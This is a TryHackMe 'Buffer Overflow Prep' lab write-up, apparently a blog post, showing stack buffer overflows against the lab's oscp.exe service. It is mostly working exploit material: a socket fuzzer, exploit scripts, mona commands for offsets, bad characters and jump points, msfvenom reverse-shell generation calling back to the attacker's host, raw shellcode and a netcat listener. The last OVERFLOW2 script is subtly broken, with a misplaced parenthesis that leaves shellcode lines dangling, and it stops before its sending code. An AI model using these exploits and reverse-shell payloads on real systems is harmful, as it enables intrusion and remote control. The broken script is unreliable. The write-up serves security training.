Buffer Overflow Prep - TryHackMe

13 min read

Published at: Apr 26, 2024

Overflowing bucket of 1s and 0s

Practice stack based buffer overflows with me!

Metadata

Meta

Goal

Practise buffer overflow attacks!

Cheat Sheet

Before we begin, as always there is a generic Cheat Sheet for this room which could be integrated in your own notes. You find it at at the bottom of this write-up. You can also find all of my notes at https://hailstormsec.com/posts/categories/notes.

Tasks

Start the OSCP process

  1. Open Immunity Debugger as Administrator.
  2. Open file (File->Open).
  3. Select the oscp.exe binary (C:\Users\admin\Desktop\vulnerable-apps\oscp).
  4. From your own machine, connect to the service with nc MACHINE_IP 1337, in my case nc 10.10.29.202 1337.
  5. If you've done so correctly it should look something like this:
Inside the proccess

Attach process

There is another way you can import a process/application into Immunity Debugger. Instead of importing it, you can run the application and thereafter attach it (File->Attach) inside of Immunity.

OVERFLOW1

Fuzzing

Before fuzzing, we want to run the following command in Immunity Debugger to set the workplace to C:\mona\.

!mona config -set workingfolder c:\mona\%p

Fuzzing is a way of finding the buffer offset by attempting to overflow the buffer by brute forcing the input with gradually larger values until the program crashes.

We will fuzz this application by using the following script:

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.29.202" # Your machine ip

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)
Fuzzer crashed at 2000 bytes
python3 fuzzer.py

Finding the offset

Now we want to utilise pattern_create to more precisely find the offset. We want to generate a pattern ~400 bytes longer than where the fuzzer crashed.

Add script to path

To avoid typing the entire path of pattern_create, you can add it to your PATH with: sudo cp "$(locate pattern_create.rb)" /usr/local/bin.

pattern_create with a length of 2400
pattern_create.rb -l 2400

Now we want to input this string into the following exploit:

import socket

ip = "10.10.29.202"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Restart the application

If you have yet to restart the Debugger from the fuzzer, you have to do so since you have corrupted the memory. And as a result you will not find the EIP offset (return value offset), unless you have restarted the application. You do this by clicking on the restart application button and then play the application again.

Arrows showing how to restart the application

Now we can execute the python exploit using `python3 exploit.py`, and should look like this:

┌──(Hailst0rm(ソフ)sec)-[~]
└─$ python3 exploit.py
Sending evil buffer...
Done!

Now we can investigate the memory using mona to find the offset of the return address (EIP).

Finding the offset, 1978, using mona
!mona findmsp -distance 2400

Confirming the offset

Now we want to update the exploit script, adding the offset together with the retn variable set to "BBBB" (32-bit). Make sure to restart the application again before running the exploit again.

import socket

ip = "10.10.29.202"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
We have successfully added Bs into the buffer
python3 exploit.py - (hexcode for 'B' is 42)

Bad characters

Before generating our malicious payload we need to find out any bad characters, characters not interpreted correctly according to the program. To find eventual bad characters we will generate a bytearray in Immunity Debugger using mona, and run our exploit with the same array. Thereafter we will compare the two. Any differences can thereafter be established as "bad characters".

  • In Immunity Debugger: !mona bytearray -b "\x00" (exclude null-byte)
  • In our machine:
Generate our byte array
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Copy this bytearray into the payload variable of the exploit script (I think you know how to at this point) and run it.

Comparison to find the bad chars
!mona compare -f C:\mona\oscp\bytearray.bin -a ESP-ADDRESS

Bad chars: 07 08 2e 2f a0 a1

Remove false positives

Sometimes the bad chars may cause the next byte to get corrupted as well of even effect the rest of the string. Therefore to confirm these bytes we will go through the process one more time.

  1. Generate new bytearray inside of Immunity: !mona bytearray -b "\x00\x07\x2e\xa0"
  2. Remove the same bytes from the payload in exploit.py.
  3. Restart application in Immunity.
  4. Run exploit.
With our new payload, we have successfully removed all bad bytes
Unmodified - means we have removed all the bad characters.

Finding a jump point

The last thing we need to do before generating our payload is to find jump points, locations in the memory where we can store our payload without getting affected by bad characters. We can figure this out with mona and the command: !mona jmp -r esp -cpb "\x00\x07\x2e\xa0". You do not require to restart the application for this.

Here are our valid jump pointers with bad characters taken into account.
Our valid jump points.

Simply put one of these addresses into our exploit scrip in the retn variable. Important however is to write the address backwards because the system is in little-endian.

Generate Payload

Now to generate the malicious payload we can use msfvenom. Make sure to use your tunnel ip on LHOST.

msfvenom -p windows/shell_reverse_tcp LHOST=10.8.11.118 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

Simply take the hexcode that comes out and input into the exploit script.

The final script should look similar to mine (my machine died so my new machine ip is 10.10.33.19):

import socket

ip = "10.10.33.19"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = '\xaf\x11\x50\x62'
padding = "\x90"*26
payload = ("\xbd\x48\xa2\x8d\x91\xdb\xd5\xd9\x74\x24\xf4\x5e\x31\xc9"
"\xb1\x52\x83\xee\xfc\x31\x6e\x0e\x03\x26\xac\x6f\x64\x4a"
"\x58\xed\x87\xb2\x99\x92\x0e\x57\xa8\x92\x75\x1c\x9b\x22"
"\xfd\x70\x10\xc8\x53\x60\xa3\xbc\x7b\x87\x04\x0a\x5a\xa6"
"\x95\x27\x9e\xa9\x15\x3a\xf3\x09\x27\xf5\x06\x48\x60\xe8"
"\xeb\x18\x39\x66\x59\x8c\x4e\x32\x62\x27\x1c\xd2\xe2\xd4"
"\xd5\xd5\xc3\x4b\x6d\x8c\xc3\x6a\xa2\xa4\x4d\x74\xa7\x81"
"\x04\x0f\x13\x7d\x97\xd9\x6d\x7e\x34\x24\x42\x8d\x44\x61"
"\x65\x6e\x33\x9b\x95\x13\x44\x58\xe7\xcf\xc1\x7a\x4f\x9b"
"\x72\xa6\x71\x48\xe4\x2d\x7d\x25\x62\x69\x62\xb8\xa7\x02"
"\x9e\x31\x46\xc4\x16\x01\x6d\xc0\x73\xd1\x0c\x51\xde\xb4"
"\x31\x81\x81\x69\x94\xca\x2c\x7d\xa5\x91\x38\xb2\x84\x29"
"\xb9\xdc\x9f\x5a\x8b\x43\x34\xf4\xa7\x0c\x92\x03\xc7\x26"
"\x62\x9b\x36\xc9\x93\xb2\xfc\x9d\xc3\xac\xd5\x9d\x8f\x2c"
"\xd9\x4b\x1f\x7c\x75\x24\xe0\x2c\x35\x94\x88\x26\xba\xcb"
"\xa9\x49\x10\x64\x43\xb0\xf3\x81\x9c\xb1\x75\xfe\x9e\xc5"
"\x68\xa2\x17\x23\xe0\x4a\x7e\xfc\x9d\xf3\xdb\x76\x3f\xfb"
"\xf1\xf3\x7f\x77\xf6\x04\x31\x70\x73\x16\xa6\x70\xce\x44"
"\x61\x8e\xe4\xe0\xed\x1d\x63\xf0\x78\x3e\x3c\xa7\x2d\xf0"
"\x35\x2d\xc0\xab\xef\x53\x19\x2d\xd7\xd7\xc6\x8e\xd6\xd6"
"\x8b\xab\xfc\xc8\x55\x33\xb9\xbc\x09\x62\x17\x6a\xec\xdc"
"\xd9\xc4\xa6\xb3\xb3\x80\x3f\xf8\x03\xd6\x3f\xd5\xf5\x36"
"\xf1\x80\x43\x49\x3e\x45\x44\x32\x22\xf5\xab\xe9\xe6\x15"
"\x4e\x3b\x13\xbe\xd7\xae\x9e\xa3\xe7\x05\xdc\xdd\x6b\xaf"
"\x9d\x19\x73\xda\x98\x66\x33\x37\xd1\xf7\xd6\x37\x46\xf7"
"\xf2")
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Now start a netcat listener to catch the reverse shell and run the exploit a final time.

After running the exploit a final time we have a shell
nc -lvnp 4444

Questions(s)

  1. What is the EIP offset for OVERFLOW1?
  2. In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW1?

Answers(s)

  1. 1978
  2. \x00\x07\x2e\xa0

OVERFLOW2

Time to stand on our own two legs and do one without the help given to us by the task.

Fuzzing

Change the prefix to 'OVERFLOW2'

Changing prefix to overflow2
Change prefix in fuzzer.py, make sure to keep the space afterwards

Finding the offset

Crashes at 700 bytes
python3 fuzzer.py

It is crashing at 700 bytes, so now we can create a string to more precisely locate the offset:

pattern_create.rb -l 1100

Put the string in the payload of the exploit.py script, make sure to grab a new copy of the script from OVERFLOW1 and change the prefix here as well.

Should look like this:

import socket

ip = "10.10.33.19"
port = 1337

prefix = "OVERFLOW2 "
offset = 0
overflow = "A" * offset
retn = ''
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
634-offset.png
!mona findmsp -distance 1100

Confirming the offset

Add 'BBBB' into the retn and 634 into offset and inspect the result:

Offset confirmed
Offset confirmed

Bad characters

  • Create a new bytearray with mona: !mona bytearray -b "\x00"
  • Add the same bytearray into the payload of the exploit script.
Badchars for OVERFLOW2
Bad chars: 00 23 24 3c 3d 83 84 ba

Remove false positives

Genarate new lists without the characters following each other:

  • Create a new bytearray with mona: !mona bytearray -b "\x00\x23\x3c\x83\xba"
  • Add the same bytearray into the payload of the exploit script.
Unmodified
Unmodified

Bad characters: \x00\x23\x3c\x83\xba

Finding jump point

Finding jump points for overflow2
!mona jmp -r esp -cpb "\x00\x23\x3c\x83\xba"

Generate Payload

Msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.8.11.118 LPORT=4444 EXITFUNC=thread -b "\x00\x23\x3c\x83\xba" -f c

Exploit:

import socket

ip = "10.10.33.19"
port = 1337

prefix = "OVERFLOW2 "
offset = 634
overflow = "A" * offset
retn = '\xaf\x11\x50\x62'
padding = "\x90"*24
payload = ("\xfc\xbb\xb1\x28\x12\x25\xeb\x0c\x5e\x56\x31\x1e\xad\x01")
"\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x4d\xc0\x90"
"\x25\xad\x11\xf5\xac\x48\x20\x35\xca\x19\x13\x85\x98\x4f"
"\x98\x6e\xcc\x7b\x2b\x02\xd9\x8c\x9c\xa9\x3f\xa3\x1d\x81"
"\x7c\xa2\x9d\xd8\x50\x04\x9f\x12\xa5\x45\xd8\x4f\x44\x17"
"\xb1\x04\xfb\x87\xb6\x51\xc0\x2c\x84\x74\x40\xd1\x5d\x76"
"\x61\x44\xd5\x21\xa1\x67\x3a\x5a\xe8\x7f\x5f\x67\xa2\xf4"
"\xab\x13\x35\xdc\xe5\xdc\x9a\x21\xca\x2e\xe2\x66\xed\xd0"
"\x91\x9e\x0d\x6c\xa2\x65\x6f\xaa\x27\x7d\xd7\x39\x9f\x59"
"\xe9\xee\x46\x2a\xe5\x5b\x0c\x74\xea\x5a\xc1\x0f\x16\xd6"
"\xe4\xdf\x9e\xac\xc2\xfb\xfb\x77\x6a\x5a\xa6\xd6\x93\xbc"
"\x09\x86\x31\xb7\xa4\xd3\x4b\x9a\xa0\x10\x66\x24\x31\x3f"
"\xf1\x57\x03\xe0\xa9\xff\x2f\x69\x74\xf8\x50\x40\xc0\x96"
"\xae\x6b\x31\xbf\x74\x3f\x61\xd7\x5d\x40\xea\x27\x61\x95"
"\xbd\x77\xcd\x46\x7e\x27\xad\x36\x16\x2d\x22\x68\x06\x4e"
"\xe8\x01\xad\xb5\x7b\x24\x3a\xbe\x0d\x50\x38\xc0\xe0\xfc"
"\xb5\x26\x68\xed\x93\xf1\x05\x94\xb9\x89\xb4\x59\x14\xf4"
"\xf7\xd2\x9b\x09\xb9\x12\xd1\x19\x2e\xd3\xac\x43\xf9\xec"
"\x1a\xeb\x65\x7e\xc1\xeb\xe0\x63\x5e\xbc\xa5\x52\x97\x28"
"\x58\xcc\x01\x4e\xa1\x88\x6a\xca\x7e\x69\x74\xd3\xf3\xd5"
"\x52\xc3\xcd\xd6\xde\xb7\x81\x80\x88\x61\x64\x7b\x7b\xdb"
"\x3e\xd0\xd5\x8b\xc7\x1a\xe6\xcd\xc7\x76\x90\x31\x79\x2f"
"\xe5\x4e\xb6\xa7\xe1\x37\xaa\x57\x0d\xe2\x6e\x77\xec\x26"
"\x9b\x10\xa9\xa3\x26\x7d\x4a\x1e\x64\x78\xc9\xaa\x15\x7f"
"\xd1\xdf\x10\x3b\x55\x0c\x69\x54\x30\x32\xde\x55\x11\x32"
"\xe0\xa9\x9a")
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

